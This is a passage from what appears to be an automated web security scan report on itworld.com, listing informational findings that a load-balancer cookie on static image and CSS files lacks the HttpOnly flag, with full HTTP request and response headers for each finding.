The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 15 Sep 2011 15:12:31 GMT
ETag: "4661fb-4a2f1-4acfc4e39f5c0"
Content-Type: text/css
Content-Length: 303857
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:23 GMT
X-Varnish: 252446224
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.poll .bar{height:1em;margin:1px 0;background-color:#ddd;}.poll .bar .foreground{background-color:#000;height:1em;float:left;}.poll .links{text-align:center;}.poll .percent{text-align:right;}.poll .
...[SNIP]...

7.131. http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 15 Sep 2011 15:14:59 GMT
ETag: "468db8-48aa3-4acfc570c42c0"
Content-Type: text/css
Content-Length: 297635
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:32 GMT
X-Varnish: 1959715420 1959695145
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.poll .bar{height:1em;margin:1px 0;background-color:#ddd;}.poll .bar .foreground{background-color:#000;height:1em;float:left;}.poll .links{text-align:center;}.poll .percent{text-align:right;}.poll .
...[SNIP]...

7.132. http://www.itworld.com/sites/default/files/css/css_eecda8f4cb722a419ca2d21598c76b05.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/css/css_eecda8f4cb722a419ca2d21598c76b05.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/css/css_eecda8f4cb722a419ca2d21598c76b05.css HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 15 Sep 2011 15:12:26 GMT
ETag: "465fae-14-4acfc4dedaa80"
Content-Type: text/css
Content-Length: 0
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:32 GMT
X-Varnish: 1959715421 1959691202
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 209
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

7.133. http://www.itworld.com/sites/default/files/fc_26055.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/fc_26055.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/fc_26055.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 17:04:26 GMT
ETag: "1bf597-959-4ad4e55d63a80"
Content-Type: image/png
Content-Length: 2393
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:46 GMT
X-Varnish: 1959716120 1959715924
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...-...-......xu.... pHYs.................tIME.....2.N.......IDATX..Xko......;..EZ2EI..G..C......@b..#;...^.H....NwU>...G.A.w.rov.....gM...i.\t...v..V.....;LE'I...H
*B.j2..r.2......N.#
...[SNIP]...

7.134. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-12749.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-12749.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-12749.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 08 Aug 2011 15:31:13 GMT
ETag: "4b5bb2-715-4aa0023221240"
Content-Type: image/jpeg
Content-Length: 1813
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:13 GMT
X-Varnish: 1959719244
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.135. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-3232.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-3232.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-3232.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 25 Aug 2011 14:47:49 GMT
ETag: "14f67d-783-4ab5583398f40"
Content-Type: image/jpeg
Content-Length: 1923
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:12 GMT
X-Varnish: 1959719195 1959717255
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.136. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-5506.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-5506.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-5506.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Tue, 26 Jul 2011 23:41:24 GMT
ETag: "4c7b06-7d5-4a901783a7100"
Content-Type: image/jpeg
Content-Length: 2005
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:11 GMT
X-Varnish: 1959719173 1959715839
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.137. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-5772.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-5772.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-5772.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Jun 2011 22:11:50 GMT
ETag: "4689cd-754-4a654414ef580"
Content-Type: image/jpeg
Content-Length: 1876
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:46 GMT
X-Varnish: 1959716123
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.138. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-6090.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-6090.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-6090.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 18:36:52 GMT
ETag: "4c7b85-78b-4ad4fa0677900"
Content-Type: image/jpeg
Content-Length: 1931
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 1959719009 1959716986
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.139. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-7409.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-7409.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-7409.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 03:58:33 GMT
ETag: "4c7b81-797-4ad0701c66c40"
Content-Type: image/jpeg
Content-Length: 1943
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:09 GMT
X-Varnish: 1959719026 1959716660
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.140. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-8601.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-8601.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-8601.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 31 Aug 2011 15:30:26 GMT
ETag: "4c7b6d-720-4abceceae8880"
Content-Type: image/jpeg
Content-Length: 1824
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:46 GMT
X-Varnish: 1959716121
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.141. http://www.itworld.com/sites/default/files/imagecache/blog_head_50x50/picture-9469.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/blog_head_50x50/picture-9469.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/blog_head_50x50/picture-9469.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 27 Apr 2011 21:52:47 GMT
ETag: "466596-953-4a1ed761129c0"
Content-Type: image/jpeg
Content-Length: 2387
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:09 GMT
X-Varnish: 1959719020
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.142. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/IT_jobs_hp_0.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/IT_jobs_hp_0.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/IT_jobs_hp_0.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 12 Sep 2011 15:44:00 GMT
ETag: "2aeb31-2d30-4acc0654bb000"
Content-Type: image/gif
Content-Length: 11568
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:12 GMT
X-Varnish: 1959719225 1959715881
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 17
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF87a..q......."..u....v....Pd...@ML...oP@....VT......qka....-7
q.......\.t...EZYd....s...........l3KH..................XLC.........2....".......ND.............<>.......................h...o3/
. @A:.
...[SNIP]...

7.143. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/WinMac-01-150x113.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/WinMac-01-150x113.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/WinMac-01-150x113.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 12 Sep 2011 13:19:50 GMT
ETag: "2aeb1d-12eb-4acbe61b72980"
Content-Type: image/jpeg
Content-Length: 4843
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:10 GMT
X-Varnish: 1959719031 1959715874
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 15
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.144. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/dj-roomba.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/dj-roomba.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/dj-roomba.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 14 Sep 2011 17:41:01 GMT
ETag: "2aeb43-1e11-4acea43766540"
Content-Type: image/jpeg
Content-Length: 7697
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:10 GMT
X-Varnish: 1959719128
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.145. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/free%20games%20thumbnail.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/free%20games%20thumbnail.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/free%20games%20thumbnail.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 14:55:49 GMT
ETag: "2aeb51-1f2c-4ad4c89de2740"
Content-Type: image/jpeg
Content-Length: 7980
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:13 GMT
X-Varnish: 1959719235 1959715901
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 19
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.146. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/geeky%20plates%20thumbnail.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
